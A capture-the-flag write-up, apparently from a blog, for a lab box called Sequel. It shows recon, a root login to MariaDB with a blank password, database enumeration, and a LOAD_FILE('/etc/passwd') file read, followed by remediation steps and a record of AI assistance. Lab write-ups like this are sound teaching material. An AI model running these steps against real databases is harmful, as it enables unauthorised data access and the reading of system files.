Box info | OS: Debian 10 (Buster) — MariaDB 10.3.27 | Difficulty: Very Easy | Tier: 1 | Status: Starting Point Skills: MySQL/MariaDB CLI, database enumeration, blank root password, FILE privilege Pwned: 2026-04-28
TL;DR
Sequel (the name is a wordplay on SQL) is a Tier 1 box with a single exposed service: MariaDB 10.3.27 on port 3306. The root database user has a blank password and accepts connections from any host (root@%). Connecting with mysql -h IP -u root lands you in a fully privileged session with ALL PRIVILEGES including FILE. The flag is a row in htb.config at name='flag'. Going further, LOAD_FILE('/etc/passwd') works (FILE privilege active, no secure_file_priv restriction), exposing system user accounts. SSH is firewalled off. The lesson: a database root account with no password and internet exposure is a complete data breach.
Recon
1. Liveness check
$ ping -c 2 10.129.36.240
64 bytes from 10.129.36.240: icmp_seq=0 ttl=63 time=33.610 ms
64 bytes from 10.129.36.240: icmp_seq=1 ttl=63 time=35.029 ms
TTL=63 → Linux. Host alive and reachable.
2. Full port sweep
$ nmap -sV -sC -p- --min-rate 1000 -T4 -Pn 10.129.36.240
PORT STATE SERVICE VERSION
3306/tcp open mysql?
22/tcp filtered ssh
- 3306/tcp — MySQL/MariaDB, directly exposed
- 22/tcp — SSH is filtered (firewall dropping packets)
Only one reachable service.
3. Banner grab — identify exact version
nc -v -w 30 10.129.36.240 3306
Initial bytes from the server:
5.5.5-10.3.27-MariaDB-0+deb10u1
MariaDB 10.3.27 on Debian 10 (Buster). The 5.5.5- prefix is a MariaDB compatibility marker that makes the server appear as MySQL 5.5.5 to older clients — a quirk worth knowing.
Foothold
Dead end #1 — mysql CLI compatibility issue on macOS
mysql -h 10.129.36.240 -u root -p
The Homebrew mysql client (version 9.6) generates frequent timeouts when connecting to MariaDB 10.3. Root cause: MySQL 8.0+ clients use caching_sha2_password by default; MariaDB 10.3 uses mysql_native_password. The handshake mismatch causes instability.
Fix: Use Python’s pymysql library which handles MariaDB compatibility cleanly:
import pymysql
conn = pymysql.connect(host='10.129.36.240', user='root', password='')
cursor = conn.cursor()
Dead end #2 — SSH with database credentials
After finding the root database credentials work, tried using them for SSH:
ssh root@10.129.36.240
# Port 22 is filtered — connection never reaches the server
ssh christine@10.129.36.240
# Same — firewall drops all packets to port 22
SSH port 22 is firewalled at the network level. Database access does not translate to SSH access.
Working approach — root login with blank password
import pymysql
conn = pymysql.connect(
host='10.129.36.240',
port=3306,
user='root',
password='' # blank
)
cursor = conn.cursor()
cursor.execute("SELECT VERSION(), USER(), CURRENT_USER()")
print(cursor.fetchone())
# ('10.3.27-MariaDB-0+deb10u1', 'root@10.10.14.45', 'root@%')
root@% — root user accepting connections from any host (% wildcard), with no password. Maximum database privileges.
Privilege check
SHOW GRANTS FOR 'root'@'%';
-- GRANT ALL PRIVILEGES ON *.* TO `root`@`%` WITH GRANT OPTION
All privileges including FILE (read/write filesystem via LOAD_FILE and INTO OUTFILE).
Database enumeration
SHOW DATABASES;
-- information_schema
-- htb
-- mysql
-- performance_schema
SHOW TABLES IN htb;
-- config
-- users
SELECT * FROM htb.config;
| id | name | value |
|---|---|---|
| 1 | timeout | 60s |
| 2 | security | default |
| 5 | flag | [REDACTED] |
| 7 | authentication_method | radius |
The flag is in row 5 of htb.config.
FILE privilege exploitation
SELECT LOAD_FILE('/etc/passwd');
Returns the full /etc/passwd contents, revealing system users:
root—/bin/bashmysql—/bin/falsehtb(UID 1000) —/bin/bash
The htb user has a shell but SSH is firewalled. Write attempts to SSH key directories returned permission denied at the OS level (the MariaDB process runs as user mysql, not root).
Privilege Escalation
N/A — Starting Point Tier 1 box. The flag is a database table row, not a filesystem file. SSH access is firewalled. The mysql service account does not have write access to SSH authorized_keys files. UDF (User Defined Function) injection is blocked by the plugin directory being on a read-only filesystem mount.
What’s actually broken
- MariaDB root account with no password, accepting connections from any host (
root@%). This is the textbook “never do this” configuration. Combined with internet exposure, it is a complete database compromise: read, write, delete any database, read filesystem files (FILE privilege), potentially write files if directory permissions allow. - Database port 3306 directly reachable from the internet. MariaDB/MySQL should bind to
127.0.0.1or an internal management IP, never0.0.0.0on a public-facing server. secure_file_privnot configured. Empty@@secure_file_priv= no restriction onLOAD_FILEandINTO OUTFILE. The database can read any file themysqlOS user can access.- Flags (sensitive data) stored in a publicly exposed database. In production: customer PII, API keys, session tokens, authentication secrets.
Remediation (the boring half)
Set a root password and restrict host:
ALTER USER 'root'@'%' IDENTIFIED BY 'VeryStr0ng!RandomPassword#2024';
-- Delete the wildcard host entry and add a specific one
DELETE FROM mysql.user WHERE User='root' AND Host='%';
CREATE USER 'root'@'127.0.0.1' IDENTIFIED BY 'VeryStr0ng!RandomPassword#2024';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'127.0.0.1' WITH GRANT OPTION;
FLUSH PRIVILEGES;
Bind MariaDB to localhost only in /etc/mysql/mariadb.conf.d/50-server.cnf:
bind-address = 127.0.0.1
Set secure_file_priv to restrict file operations:
secure_file_priv = /var/lib/mysql/import
Firewall:
ufw deny 3306
# If remote DBA access is needed:
ufw allow from 10.10.0.0/16 to any port 3306
MITRE ATT&CK mapping
| Tactic | Technique | How it shows up here |
|---|---|---|
| Reconnaissance | T1046 — Network Service Discovery | Port scan identifies MariaDB on 3306 |
| Initial Access | T1078 — Valid Accounts | root database login with blank password |
| Discovery | T1083 — File and Directory Discovery | SHOW DATABASES, SHOW TABLES, SELECT LOAD_FILE('/etc/passwd') |
| Collection | T1005 — Data from Local System | Flag read from htb.config table |
| Credential Access | T1552.001 — Credentials In Files | /etc/passwd read via LOAD_FILE() to enumerate system users |
Lessons learned
- MariaDB is not MySQL, but looks like it. The
5.5.5-prefix in the banner is a MariaDB quirk for old client compatibility. Modern MySQL clients may have handshake issues with older MariaDB versions —pymysqlis more compatible than the nativemysqlCLI in these cases. - Blank database password = full data access + potential filesystem read. Unlike blank OS passwords, a blank database root password immediately grants FILE privilege (LOAD_FILE/INTO OUTFILE) in addition to all data access.
SHOW GRANTS FOR CURRENT_USER()is the first thing to run after connecting. It tells you exactly what you can do: whether FILE is available, whether you can create users, and whether WITH GRANT OPTION is set.- Always check
@@secure_file_privafter getting database access. Empty = no restriction = you can attempt to read any file the DB process can access.
🤖 AI-assist log
Transparency over polish. This is exactly where Claude was in the loop on this box.
Note: AI-assist log reconstructed from writeup context; original session interaction logs not available.
| Step | What I asked | What Claude returned | What I changed |
|---|---|---|---|
| MariaDB banner prefix | “Why does MariaDB show 5.5.5 in the banner?” | Explained the compatibility header: MariaDB adds 5.5.5- prefix so old clients that check for MySQL 5.x don’t reject the connection. The real version follows. | Added to Recon as a “quirk worth knowing.” |
| mysql CLI vs pymysql | “mysql CLI times out on MariaDB 10.3 — why?” | Identified the auth plugin mismatch: MySQL 8+ CLI defaults to caching_sha2_password; MariaDB 10.3 uses mysql_native_password. Recommended --default-auth=mysql_native_password flag or using pymysql. | Documented as Dead end #1 with the pymysql workaround. |
| FILE privilege scope | “What can I read with LOAD_FILE() after getting root?” | Explained: any file readable by the OS user running MariaDB (typically mysql). Usually includes /etc/passwd, config files in world-readable directories, but not /etc/shadow or user home directories. | Documented the /etc/passwd read and the /home/htb/.ssh/ permission-denied outcome. |
| secure_file_priv meaning | “What does empty secure_file_priv mean vs NULL?” | Clarified: empty string "" = no restriction (any directory); NULL = file operations completely blocked; a path string = restricted to that path. Different from MySQL behavior for NULL. | Added the distinction to the Remediation section. |
What Claude got wrong: The secure_file_priv semantics differ slightly between MySQL and MariaDB — Claude initially conflated them. Verified against the MariaDB documentation directly. What Claude couldn’t do: Connect to the database; all commands ran locally. Net assist value: High on MariaDB-specific quirks; medium on privilege semantics.
